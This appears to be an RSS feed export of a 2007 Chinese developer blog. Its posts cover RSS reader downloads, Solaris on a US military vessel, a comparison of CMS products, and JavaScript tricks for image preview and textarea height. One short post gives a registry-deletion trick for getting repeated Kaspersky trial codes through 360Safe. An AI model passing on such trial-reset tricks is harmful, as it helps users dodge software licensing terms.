<p>简介：类型： 免费软件 大小： 499 KB 系统平台： Win9x/NT/2000/XP <a href="http://www.haorss.com/soft/readersetup.rar">【点击下载】</a></p><p><a href="http://www.haorss.com/soft/FireDemonPRC.msi"><strong>FireDemon(飞火流星)<br />　　</strong></a>国人自主开发的RSS工具，FireDemon(飞火流星)是一款功能强大，简单易用，界面友好的(一个Blog阅读工具,正规的Blog站点都提供RSS文件,可以方便的访问)RSS网页新闻阅读和浏览器，让你在桌面快速浏览RSS的世界。文件收藏软件。通过它，我们能从不同的来源中访问到许多新闻内容：a.基于XML格式（Rss）的聚合（Syndicated）新闻。b.网页新闻。FireDemon从订阅的每一个新闻频道中收集新闻内容，然后以几种不同的方式显示。</p><p>简介：类型：免费软件 大小：3135 KB 版本：1.15 Beta 系统平台： Win9X WinNT Win2000 WinME WinXP Win2003 <a href="http://www.haorss.com/soft/FireDemonPRC.msi">【点击下载】</a></p><p><b><a href="http://www.haorss.com/soft/BoYue1.0.rar">博阅RSS阅读器</a></b><a href="http://www.haorss.com/soft/BoYue1.0.rar">.</a><br />　　 博阅RSS阅读器是为信息时代尽快获取所需信息而打造的一款简单易用的RSS阅读器。通过它您可以管理、获取、阅读 格式的信息。管理信息就是您可以根据自己的需要来确定和管理信息来源，获取信息就是您可以根据自己的需要从定制的信息源中来更新获取信息，阅读信息是指您可以方便的在阅读器中查看信息列表、摘要和详细内容。总之，您可以通过博阅RSS阅读器及时的获得你所要的各种信息。　　 
</p><p>简介：版本：V1.0 大小：4.650k 性质：免费软件支持平台：Win 9X /Win NT / Win 2000 / Win XP<strong>(需要Java工作环境)</strong><a href="http://www.haorss.com/soft/BoYue1.0.rar">【点击下载】</a></p><p><strong><a href="http://www.haorss.com/soft/kantianxia.rar">看天下RSS新闻阅读器.<br />　　</a></strong>看天下RSS新闻阅读器第一款国人自主版权的RSS阅读器。该软件对传统的互联网以商业门户为中介的信息传递模式进行着革命性的冲击，使众多信息发布者(企业网站，媒体，博客等)和广大接收者之间架起了“直通车”，极大地降低了信息发布和接收的成本，给广大网民一个崭新的互联网阅读体验。作为使用者的“信息助手”，该软件使用户可以随心所欲地根据喜好订阅信息频道，并以用户设置的频率更新信息，把天下最新咨询“送”到用户面前。在今后的版本中，用户还可以在本地对信息进行搜索，排序，归类等管理，并可以用我们的“中文RSS内容索引”订阅更多，更精彩的内容。欢迎广大用户下载并提出宝贵意见。 
</p><p>简介：类型： 免费软件 大小： 3453 KB 系统平台： Win9x/NT/2000/XP <a href="http://www.haorss.com/soft/kantianxia.rar">【点击下载】</a></p><p><a href="http://www.haorss.com/soft/zhoubotong25011023.rar"><strong>周博通RSS阅读器.<br />　　</strong></a>周博通是目前最流行的免费RSS读器之一，界面友好，分类清晰，操作简单．内置新浪网、新华网、天极网、计世网等数百个RSS闻源，不用打开网页就可第一时间阅读自己喜欢的新闻,除拥有一般RSS读器的功能外，还有以下几方面特点: 1.以很方便地使用右键把网页上的RSS地址加入到自己的频道列表中。 2.支持rss0.92，rss1.0，rss2.0及ATOM。 3.可以导入“看天下”，“新浪点点通”，,FeedDemon的所有的RSS频道列表。 4.与好友共享自己的RSS频道源。 5.从网络上下载开发团队精心整理的RSS频道源。 6.上传自己的RSS频道源列表至服务器，当更新机器重装周博通的时，可以直接从网络上恢复你的RSS频道源。 7.本地文章快速搜索。 8.自由定制Baidu关键字搜索订阅，可以自动将您要收集的资料和竞争对手的资料送到您面前。 9.正式版将增加离线撰写Blog功能 
</p><p>简介：类型： 免费软件 大小： 2492 KB 系统平台： Win9x/NT/2000/XP <a href="http://www.haorss.com/soft/zhoubotong25011023.rar">【点击下载】</a></p><p><a href="http://www.haorss.com/soft/SharpReader0951.zip"><strong>SharpReaderRSS阅读器<br />　　</strong></a>SharpReader是一款广受Blogger欢迎的Blog阅读软件，它能让你不用访问blog网站，直接在机器上象收信一样收集blog最新的消息。最大的亮点就是正式支持atom。 
</p><p>简介：版本： V0.9.5.1 语言：英文 类型： 免费软件 大小： 796 KB 系统平台： Win9x/NT/2000/XP<strong>(需要.NET Framework工作环境)</strong><a href="http://www.haorss.com/soft/SharpReader0951.zip">【点击下载】</a></p><img src ="http://www.blogjava.net/bcims/aggbug/117088.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-05-13 09:34 <a href="http://www.blogjava.net/bcims/archive/2007/05/13/117088.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>中国军队在用银河麒麟，那美国军队在用什么操作系统呢？ </title><link>http://www.blogjava.net/bcims/archive/2007/04/22/112826.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 22 Apr 2007 14:42:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/04/22/112826.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/112826.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/04/22/112826.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/112826.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/112826.html</trackback:ping><description><![CDATA[
		<div>Solaris Trusted Extensions原来可是Sun专门为美国国防部，军方部门定制的系统，原是一个独立产品，也要收取美金，现在不仅内嵌在Solaris 10，而且免费让你享用。为什么不试试呢？</div>
		<div> </div>
		<div>这是美国的高速战区支援舰(Theatre Support Vessel)，非常酷的造型<span style="FONT-SIZE: 10pt; COLOR: black">：</span></div>
		<div> <img height="353" alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/laoeyu/191806/o_1.jpg" width="600" /></div>
		<div> </div>
		<div>
		</div>
		<div>看看那么酷的战舰在用什么操作系统：</div>
		<div>
				<img height="450" alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/laoeyu/191806/o_2.jpg" width="600" />
		</div>
		<div>
				<span style="FONT-SIZE: 10pt; COLOR: black">哈哈，那个界面就是典型的</span>
				<span style="FONT-SIZE: 10pt; COLOR: black">Solaris CDE</span>
				<span style="FONT-SIZE: 10pt; COLOR: black">界面。怎么看不到主机？那是因为他们用是</span>
				<span style="FONT-SIZE: 10pt; COLOR: black">Sun Ray</span>
				<span style="FONT-SIZE: 10pt; COLOR: black">瘦客户端。用过</span>
				<span style="FONT-SIZE: 10pt; COLOR: black">Sun Workstation</span>
				<span style="FONT-SIZE: 10pt; COLOR: black">的人应该一眼就认出那是</span>
				<span style="FONT-SIZE: 10pt; COLOR: black">Sun</span>
				<span style="FONT-SIZE: 10pt; COLOR: black">的键盘。</span>
		</div>
		<div> </div>
		<div>
				<span style="FONT-SIZE: 10pt; COLOR: black">这是他们系统后台的服务器：</span>
		</div>
		<div>
		</div>
		<div> <img height="450" alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/laoeyu/191806/o_3.jpg" width="600" /></div>
		<div> </div>
		<div>此外这次Update还包括默认SMF安全配置，轻松将你的Solaris打造为Unbreakable Solaris。</div>
		<div> </div>
		<p>Sun的Group Manager Larry Wake作了一个非常棒的slides (<a href="http://mediacast.sun.com/share/adamzhang/What's%20New%20in%20Solaris%2010%2011_06%20-%20Larry%20Wake.pdf">Link</a>), 详细的列出并说明所新增加的特性，有兴趣的可以看看。附上Solaris 11/06下载地址(<a href="http://www.sun.com/software/solaris/get.jsp">Link</a>)。</p>
		<p>
				<font color="#0000ff">图片来源于Sun公司Matt Hatley，目前他在关岛为美国军方提供系统支持服务，他的网站：</font>
				<a href="http://home.comcast.net/~hatleym/guam/">
						<font color="#0000ff">http://home.comcast.net/~hatleym/guam/</font>
				</a>
		</p>
<img src ="http://www.blogjava.net/bcims/aggbug/112826.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-04-22 22:42 <a href="http://www.blogjava.net/bcims/archive/2007/04/22/112826.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>获得卡巴斯基激活码</title><link>http://www.blogjava.net/bcims/archive/2007/04/19/111792.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Wed, 18 Apr 2007 16:37:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/04/19/111792.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/111792.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/04/19/111792.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/111792.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/111792.html</trackback:ping><description><![CDATA[
		<p>在REGEDIT里找到HKEY_LOCAL_MACHINE\SOFTWARE\360Safe的KEY键，把他删除，就可以在360安全卫士里重新申请卡巴的试用码了。HOHO~~厉害的招数</p>
<img src ="http://www.blogjava.net/bcims/aggbug/111792.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-04-19 00:37 <a href="http://www.blogjava.net/bcims/archive/2007/04/19/111792.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CMS 内容管理系统</title><link>http://www.blogjava.net/bcims/archive/2007/04/16/111075.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Mon, 16 Apr 2007 12:51:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/04/16/111075.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/111075.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/04/16/111075.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/111075.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/111075.html</trackback:ping><description><![CDATA[CMS(Content Management System),中文叫作整站系统、文章系统,大概2004以前，如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流，但没有好的程序支持，还继续靠手工完成是不可能的事，如果有一个好的系统来支撑你的网站，那将节省大量的人力物力，开发者就可能给客户一个软件包，可以用它定期人工修改网站。只要你配置安装好，你的编辑，在线记者，更新员只要定期更新数据，剩下的事就交给CMS去处理。 <br /><br /><br /><br />=== Asp === <br />动易CMS管理系统，官方网站：<a href="http://www.asp163.net/" target="_blank"><font color="#261cdc">http://www.asp163.net/</font></a><br />这套是国产AspCMS中非常强大的系统，从3.0的简单的一个文章系统到现在的2005的版本，一路走来，动易不断完善，而且也不断加强功能，包括个人版，学校版，政府版，企业版，后台包括的功能，信息发布，类别管理，权限控制，信息采集，而且跟第三方的程序，比如论坛，商城（2005的已经自带了）， blog可以完美结合，基本上可以满足一个中大型网站的要求，但Asp和Access的的局限性，还有本身功能Dll的限制，使得免费版差不多成鸡肋， <br /><br />风讯 官方网站：<a href="http://www.foosun.cn/" target="_blank"><font color="#261cdc">http://www.foosun.cn/</font></a><br />风讯的系统功能强大，自由度高，是现在人气比较高的系统之一，可以根据自己的想法做出一个网页从而建立一个有自我风格的网站，更新速度快，一直有新的版本出现，现在又开放采集、下载、投稿、图片整站管理系统，第三方整合等功能，开源是它最大特点，希望保持。然后缺点就是后台人性化差了一点，上手有点难度，而且连一套默认的模板都没有，因为自由度太高了，让一些新手更难上手，还有就是免费版的生成静态发布的效率不高。3.1已经出来一段时间了，愿各方面都更上一层楼。 <br /><br />新云网站管理系统 官方<a href="http://www.newasp.cn/" target="_blank"><font color="#261cdc">http://www.newasp.cn/</font></a><br />一款Asp的CMS后起之秀，发现有不少的网站都在使用。由文章、下载、商城、留言、用户管理五大功能模块和广告、公告、连接、统计、采集、模板管理、数据库管理等多个通用模块组成，而且功能确实有一些值得称道的地方，不过又是DLL的，免费版有不少的限制，但对一个简单基本的网站来说，功能够用了。 <br /><br />乔客(asp) 官方网站：<a href="http://www.joekoe.com/" target="_blank"><font color="#261cdc">http://www.joekoe.com/</font></a><br />这个系统已经很久了，但好像一直存活在动易和风讯两者之间，现在3.0的Joekoe CMS出来了，但另我比较失望，相比免费版的1.2，功能是增强了，但也Dll，这个可能也是国产程序的一个特色罢了。它本身已经是一个融合度非常高的系统，有商城，新闻，下载，论坛，留言，影视，博客圈等，感觉有那么点WEB2.0 的味道,，不想怎么修改的朋友直接拿去就可以用了。 <br /><br />NB文章系统(asp) 官方：<a href="http://forum.nbarticle.com/default.asp" target="_blank"><font color="#261cdc">http://forum.nbarticle.com/default.asp</font></a><br />现在最新的是v2.1 RC1 ，上手挺容易，后台很简洁，安全性能不错，发布效率比较高，当然想到同类型的，RSS不错，它也是将模板写入数据库，但修改还是蛮方便。不过这样相对来说功能是少了一些，而且官方就一个论坛技术支持，论坛的人气差了一点。 <br /><br />渐飞新闻出版系统(asp) 官方网站： <a href="http://www.xunt.net/" target="_blank"><font color="#261cdc">http://www.xunt.net/</font></a><br />这个系统也有一段时日了，不过到现在还是1.1的版本，以前名头特别响， <br />不过主要针对的是商业客户，看客户演示，个个都像门户，但因为没免费版的支撑，市场也一直没做大。 <br /><br />大世纪(Asp) 官方网站：<a href="http://www.bigcn.net/" target="_blank"><font color="#261cdc">http://www.bigcn.net/</font></a><br />很老的系统，差不多就算是个文章，新闻系统， <br />现在连官方都打不开了，这样的估计也没多少前景。 <br /><br />tsys信息发布系统 官方：<a href="http://www.tsyschina.com/" target="_blank"><font color="#261cdc">http://www.tsyschina.com</font></a><br />非常遗憾 2.0刚刚出测试版，作者就好像人间蒸发一样消失了！不过对于一个免费开源，没有版权的CMS来说我们也没有什么可要求的！抛开强大，但可能不成熟（我没用过）的2.0不谈！单说1.1版！从 1.1就可以说他是ASP CMS中的老大了！在TSYS的各个版本中均没有出现过重大的安全漏洞而且对于目前1.1来说已经是很完善成熟的了！tsys和一般的Asp 的CMS不一样！他的功能并非由本身而定！而是根据使用者的能力而定！使用者越厉害 TSYS本身也可以变的更厉害！因为TSYS可以说是一个核心！而其他的东西和功能均需要使用者自己搞定！从这点来说！TSYS的功能可以说是无限的！但这也决定了TSYS不会流行起来！说白了只有高手使用TSYS才能把TSYS的优点发挥的淋漓尽致！可惜啊.... <br /><br />说到php的CMS，也跟Asp差不多，可以算是百花齐放。 <br /><br />PhpArtile 官方：<a href="http://www.21ds.net/" target="_blank"><font color="#261cdc">http://www.21ds.net/</font></a><br />这个算是国内phpCms的祖宗了，PA由 PHP 语言开发, 使用 MySQL 数据库保存数据 , <br />为中小型网站发表文章, 存放资料, 新闻发布提供一个完美的解决方案。 <br />做了好几年了，3.0迟迟还在开发中，今年出了2.1火了一阵，又熄灭了，以前用的人挺多的， <br />现在基本上没落了 <br /><br />phpcms 官方：<a href="http://www.phpcms.cn/" target="_blank"><font color="#261cdc">http://www.phpcms.cn/</font></a><br />好像以前是9466Article的官方，本来9466做得挺好的，不知为什么突然zend加密了， <br />继承了9466的优点，上手，结构，提供插件接口，可自主开发插件，自主制作语言包， <br />自主设计模板风格，免费版可永久使用，功能还可以。 <br /><br />OKphp <a href="http://cn.okphp.com/" target="_blank"><font color="#261cdc">http://cn.okphp.com</font></a><br />同样加密的，免费版也不见怎么有人用，系统倒是开发了好久了，整合了论坛，blog，新闻， <br />分有企业版，门户版，还有免费的，看起来像老外的Nuke，个人感觉没多少特别之处。 <br /><br />美丽心雨 官方：<a href="http://www.xydw.com/" target="_blank">http://www.xydw.com/</a><br />美丽心雨CMS是心雨动网独立开发制作的网站管理系统，基本上网站管理的功能有了， <br />从1.01到现在的1.4，官方的开发人员也一直在努力中。 <br /><br />DedeCMS 官方：<a href="http://dedecms.com/" target="_blank"><font color="#261cdc">http://dedecms.com/</font></a><br />这是一套令人爱憎分明的系统，首先它是国内一款开源的系统，2.x的时候功能都已经另它的fans为之疯狂， <br />非常灵活的定制，强大的功能，简洁的操作，但2.x的瓶颈问题：大数据处理，到3.0的时候可能会解决， <br />但3.0的一直跳票，迟迟不见发布，另很多人都非常失望，希望能在3.0的时候看到一个全新的Dedecms， <br />当然也支持开源产品。 <br /><br />Ss-cms 官方：<a href="http://www.ss-cms.com/" target="_blank"><font color="#261cdc">http://www.ss-cms.com/</font></a><br />作者我见过，一个非常有活力的家伙，程序跟他一样，国产的开源系统， <br />生成静态，信息采集，文章和下载集成， <br />但作者都是出于兴趣爱好开发，1.0出来后就不见踪影了，好像现在在搞书库 <br /><br />随意Cmsez CMS 官方：<a href="http://www.cmsez.com/" target="_blank"><font color="#261cdc">http://www.cmsez.com/</font></a><br />程序的作者和Ss-cms的作者是好朋友，他也是出于个人爱好做这个，而且主要面向企业用户， <br />Cmsez集成了丰富的功能模块，<a href="http://www.colorbird.com/" target="_blank"><font color="#261cdc">http://www.colorbird.com/</font></a>（七色?...??型客户， <br />看七色鸟，你或许可以知道他的作品如何了。 <br /><br />CMSware 官方：<a href="http://www.cmsware.com/" target="_blank"><font color="#261cdc">http://www.cmsware.com/</font></a><br />一个非常不错的CMS系统，比较看好的他的后台操作简介，一些新技术，比如Ajax的应用，Wap的功能， <br />还有它的PSN的发布，节点和模块的定制，，自定义模型，数据库字段， <br />率先引进的工作流的概念，更多的发布自由度，非常强大的模板体系， <br />确实处处体现了自由的思想，让您体验自由管理的非凡感受. <br /><br />Ecms 帝国网站管理系统 官方：<a href="http://www.phome.net/" target="_blank"><font color="#261cdc">http://www.phome.net/</font></a><br />可以说这个是最让我值得写的东西，作者wm_chief是个超人，偶像啊 <br />官方的title里面是 在这里只有原创，那家伙也是疯子， <br />比如数据库管理，论坛，新闻，下载，flash，域名交易系统等， <br />还包括JSP的版本，都是自己一个人写，还有一个人搞定后期服务，客户支持，产品宣传。 <br />还要每天抽时间灌水AD，ECMS的功能非常多，包括下载，flash，商城，图片，新闻，友情链接，广告管理等， <br />比如一些远程发布，刷新效率，类别管理，权限细分，万能的论坛接口，信息采集，附件管理等这些都是Ecms特别的亮点， <br />而且免费版也不错，作者WC也非常虚心接受客户的建议， <br />基本上任何一个小的功能，都力求做到最好， <br />他明白用户的需求，一切能从用户本身出发的系统才是好的系统， <br />3.6已经出来了，而且下一个版本可能会结合EXE软件发布，刷新的功能，让我们拭目以待。 <br />ecms的典型客户 <a href="http://www.chinahtml.com/" target="_blank"><font color="#261cdc">www.chinahtml.com</font></a><br /><br />.Net <br />动网新闻(asp.net) <br />最新的4.X也出来了，也是DLL的，不过系统是.NET的，不过我个人不趋向使用DLL的系统， <br />运行速度快，效率高，安全做足。 <br />不过以前3.X的没有Dll，感觉也蛮好的， <br />缺点就是风格改起来不容易。 <br />现在加密了，反而能更快上手，不过这样可以定制的地方就少了。 <br /><br />还有一个倒奶CMS，也是.net的，不见什么特别之处，一笔带过 <br /><br />JSP <br />大概有这些： <br />Netark CMS <br />方正翔宇CMS <br />开源的Magnolia <br />Magnolia CMS <br />不过JSP的应用门槛对我们个人用户来说，有点高，也不想多提 <br /><br />当然还有一些系统比如说，Asp的国产FeitecCMS ，WpsCms等，国外的FullXML，php的国产有MePhp，天下站长php等， <br />都没见多少特色，不用也罢。 <br />TurboCMS 这样只面向企业用户，几十万的系统，我们也不用考虑。 <br />Struts中文版，Spring 开源系统，Gpower CMS，还有Java的 Ion，opencms，Jboss Nuke等老外做的， <br />国外的php的比如phpnuke，phppost，还有非常昂贵的phpcow，Bitrix Site Manager-CMS(99)， <br />比较廉价的Subdreamer，koobi CMS，ActiveKB团队的ArticleLive NX，newsphp <br />还有免费的Xoops，功能繁多的玩意，Mambo这样的开源系统，还有Mambo的变种LimboCMS，Mamhoo 。 <br />不符合国情的，在国内也没见流行 <br />还有国外CMS的大全：<a href="http://bbs.chinahtml.com/t602.html" target="_blank"><font color="#261cdc">http://bbs.chinahtml.com/t602.html</font></a> 自己有空去翻翻 <br />如果要比较老外CMS的也可以进去看看：<a href="http://bbs.chinahtml.com/t5429.html" target="_blank"><font color="#261cdc">http://bbs.chinahtml.com/t5429.html</font></a> 直接选择2-10项,,有详细的列表说。 <br /><br />现在每个CMS功能介绍上都会说自己的产品如何强大，比如说什么模板体系如何好， <br />缓存技术如何高明，刷新效率，负载容量如何强，操作如何如何简单，容易上手，跟第三方无缝结合，还有功能模块的如何丰富，生成静态发布，信息采集…… <br />吹牛谁都会，大家都会写，关键是客户如何认为，反正一句话，适合自己的就是最好的。 <br /><br /><br /><br /><br /><br /><br />很长时间以来，我一直在寻找一个优秀的CMS（Content Management System 内容管理系统）作为自己网站的核心系统。为此我专门研究过postnuke、Xoops等一些基于LAMP架构的CMS，还研究过基于Java的OpenCMS和基于J2EE架构的JBoss的Nukes。OpenCMS是一个非常不错的系统，只可惜架构与自己的方向不符，而且需要大量的二次开发工作，只好放弃。这些CMS系统或多或少都有让自己很不满意的地方，我也并不想耗费太多的精力自己来开发一套，网站的计划甚至一度搁置了下来，直到我看到了eZ publish。 <br /><br />找到eZ publish还是偶然看到<a href="http://www.php.net/" target="_blank"><font color="#261cdc">www.php.net</font></a>上左侧的eZ Systems的链接，ez的网址是<a href="http://www.ez.no/" target="_blank"><font color="#261cdc">www.ez.no</font></a>，一个挪威的公司开发的系统，试用后我得出了结论，它就是我一直在寻找的东西。 <br />在CMS选型的过程中我经常的问自己，什么才是好的CMS？ <br />现在要我回答这个问题的话，我会说适合自己需要的就是好的系统。因为这期间经历了太多的考虑或者说犹豫，有时候甚至是痛苦的。 <br /><br />首先是语言的选择，是基于Java的还是PHP的呢？因为我本人以前是从事Java的开发工作，钟情于Java优美的语言风格和架构，所以一度考虑采用OpenCMS，而且OpenCMS号称可以承受很大强度的访问量，这听起来似乎很诱人。然而我在研究它的过程中发现OpenCMS复杂且庞大，文档过时，需要花费大量的精力进行二次开发，作为业余时间搞网站的我们来说的确没有这个精力，于是只好放弃。现在要我回头看这个问题，我认为我的选择是正确的，选择CMS要考虑到自身的二次开发和日后维护的能力与精力耗费以及网站的业务需要，选择开发维护快速方便和自己也比较熟悉的的LAMP架构已经能适应我网站的需要。 <br /><br />其次，在基于LAMP架构的CMS系统中进行横向比较时，优劣比较明显。postnuke与Xoops这类CMS应该说十分的简单易用，基本上不需要做什么二次开发，基础功能就可以满足一般的需要。 <br />而eZ publish相比起来要专业和庞大的多，它有自己专有的核心库和模版语言，面向对象的思想在eZ里体现的十分明显，甚至在它的配置文件中都有体现，内容与形式的分离做得相当好，扩展方便。而且它本身自带有article、gallery、webshop和forum等这些我所需要的功能，不需要再二次开发，十分的方便。而且在<a href="http://www.ez.no/" target="_blank"><font color="#261cdc">www.ez.no</font></a>上有关于eZ publish的详细开发和使用文档可供参考。 <br /><br />eZ publish是eZ System公司发布的，专业的公司保证了系统以后的升级与维护的持续性，这一切都是我选择eZ的理由。 <br /><br />在整个CMS选型直到确定下eZ publish后，我发现这个过程持续时间是漫长而又痛苦的。经历了许多的波折，但也的确是值得的，毕竟CMS是整个网站的核心，很庆幸有eZ publish的存在而且我也发现了它。 <br /><br />一个好消息，eZ publish3.5近两天就会推出最终版了，而我的两个网站<a href="http://www.cnwebservices.com/" target="_blank"><font color="#261cdc">www.cnwebservices.com</font></a>与<a href="http://www.o2.cn/" target="_blank"><font color="#261cdc">www.o2.cn</font></a>也将陆续推出。首先在12月初推出的将是关于LAMP与网站建设的技术性网站<a href="http://www.cnwebservices.com/" target="_blank"><font color="#261cdc">www.cnwebservices.com</font></a>，是基于eZ publish CMS的网站，届时会有更多关于LAMP与开源项目的技术文章，敬请大家留意。 <br /><br /><br />随着BLOG程序的普及，越来越多的普通用户开始了解或者接触到CMS（网站内容管理系统）这一概念。BLOG做为一种相对简单的内容管理系统，实 际上向更多的普通网民普及了网站后面的基本动态技术。我相信将来会有越来越多的人会不满足于只用BLOG来书写和表达，会有更多的人将会应用到较为复杂的 多人参与型CMS系统，这会与网络发展的去中心化趋势有关，一个中小型的，以一个或者几个人创造为主，大量读者松散参与的网站，会比中心化垄断型的网站更 具有活力。同时，它也使创造者的利益得到更加合理的体现。现在一个好的，内容专一又专业的小网站，很容易会得到足够的流量，仅仅通过GOOGLE类似的广 告就可以维持。 <br />这个过程中一个决定性的因素就是网站构建技术和网站本身的服务内容之间的分离。几年前，在BLOGGER之 前，要想在网络上顺利的发表，还真的需要知道一点技术，而现在，大多数天天书写着BLOG的人，都是没有任何技术背景的普通用户。随着开源CMS项目如火 如茶的发展趋势，加上未来主机托管或者虚拟主机租用费用的不断降低，一个不具备专业网络技术知识的人，都可以轻易的建立自己的网站，如果说这几年BLOG 的发展解放了普通民众的发言权，这种功能更为复杂的CMS系统的发展，将会促使那些更加会创造，会关心别的用户的需求的人的创造得到利益上的回报。知识有 价，但会是更合理的方式。 <br />甚至，可以预言，这可能会是一轮新的去中心化的开始，即中小型网站对大型内容门户的蚕食的开始。内容是互联网的生命，内容管理系统将那些深藏在用户 内心深处的想法流畅的表达出来，从而使整个网络充满活力。其实你稍稍想一想就可以发现，这本身并不是什么“蚕食”，因为这些内容门户才是内容事实上的掠夺 者，越来越多的报纸对新浪等的“海量”转载产生不满只是这个事实的冰山一角。 <br />将来转载型的网站的重要性一定会不断降低，除非它在这个过程中创造了新的对用户有利的价值，随着GOOGLE算法的改进，将来出现在搜索结果首页的东西一定是那些用户最想需要的东西，而且是一定是那些创造者的网页。 <br />所以现在很关注CMS系统的情况，正好，OPENSOURCE CMS进行了一个最佳网站内容管理系统的投票评选，不如就从这里入手去探寻CMS系统的情况。 <br />现在排在前5名，也就是最终入围项目的名单是： <br />Drupal <br />e107 <br />Joomla! <br />Plone <br />Xoops <br />接下来就准备把这几个东西一一试用一下。显然这些最受欢迎的东西并不一定能够代表最有创造性的想法，一定有更多的想法隐藏在那些不为人关注的项目中，不过，这应该是能够代表潮流的东西。<img src ="http://www.blogjava.net/bcims/aggbug/111075.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-04-16 20:51 <a href="http://www.blogjava.net/bcims/archive/2007/04/16/111075.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>毕业设计问题之：自动预览上传图（图片预览）</title><link>http://www.blogjava.net/bcims/archive/2007/03/16/104355.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Fri, 16 Mar 2007 12:46:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/03/16/104355.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/104355.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/03/16/104355.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/104355.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/104355.html</trackback:ping><description><![CDATA[&lt;input name="w_s" type="file" id="w_s" onChange="load_img(this.value,img_s);"&gt;<br />&lt;input name="w_b" type="file" id="w_b" onChange="load_img(this.value,img_b);"&gt;<br />&lt;div id="img_s"&gt;&lt;/div&gt;<br />&lt;div id="img_b"&gt;&lt;/div&gt; 
<p>&lt;script language="javascript"&gt;<br />&lt;!--<br />function load_img(p_src,write_id){<br />var t_html;<br />if(p_src!=''){<br />if(write_id==img_s){<br />t_html="&lt;img src='"+p_src+"' onLoad='javascript:if(this.width&gt;120){this.width=120;}if(this.height&gt;120){this.height=120;}'&gt;";<br />}else{<br />t_html="&lt;img src='"+p_src+"' onLoad='javascript:if(this.width&gt;240){this.width=240;}if(this.height&gt;240){this.height=240;}'&gt;"; <br />}<br />}else{<br />t_html="";<br />}<br />write_id.innerHTML=t_html;<br />}<br />//--&gt;<br />&lt;/script&gt;</p><img src ="http://www.blogjava.net/bcims/aggbug/104355.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-03-16 20:46 <a href="http://www.blogjava.net/bcims/archive/2007/03/16/104355.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>毕业设计问题之：网页的textarea自动适应高度 </title><link>http://www.blogjava.net/bcims/archive/2007/03/15/104029.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Thu, 15 Mar 2007 07:37:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/03/15/104029.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/104029.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/03/15/104029.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/104029.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/104029.html</trackback:ping><description><![CDATA[
		<p>最近有个项目的客户反映填写明细列表的备注太短了，没填几个字就换行，还要拉动滚动条，很是不方便；以前程序上显示的是几个字的长度，在不能编辑的时候是用控件的ToolTip来显示总的长度，而且还要去掉回车换行符号，不然页面回出错！ <br />后面改成css和脚本来控制，显示和编辑的时候自动适应高度，这样看来也比较舒服了！ <br /><img height="19" src="http://www.cnblogs.com/Emoticons/emsmilep.gif" width="19" align="absMiddle" border="0" />  <br />脚本为 <br />&lt;textarea style="overflow-y:visible;" &gt;萨迪克 </p>
		<p>龙卷风萨迪克立法局扶绥对立法军队司阔佬夫君幅度苏克雷附加</p>
		<p>赛夺魁旅费福利司地矿局福利司夺魁发随大流开房间缩短阔佬附</p>
		<p>加赛多幅刻录机缩短毒素乱罚款军队弗兰克斯多夫机&lt;/textarea</p>
		<p>&gt; <br />效果如下： <br /></p>
		<textarea style="OVERFLOW-Y: visible">萨迪克

龙卷风萨迪克立法局扶绥对立法军队司阔佬夫君幅度苏克雷附加

赛夺魁旅费福利司地矿局福








</textarea>
		<br />
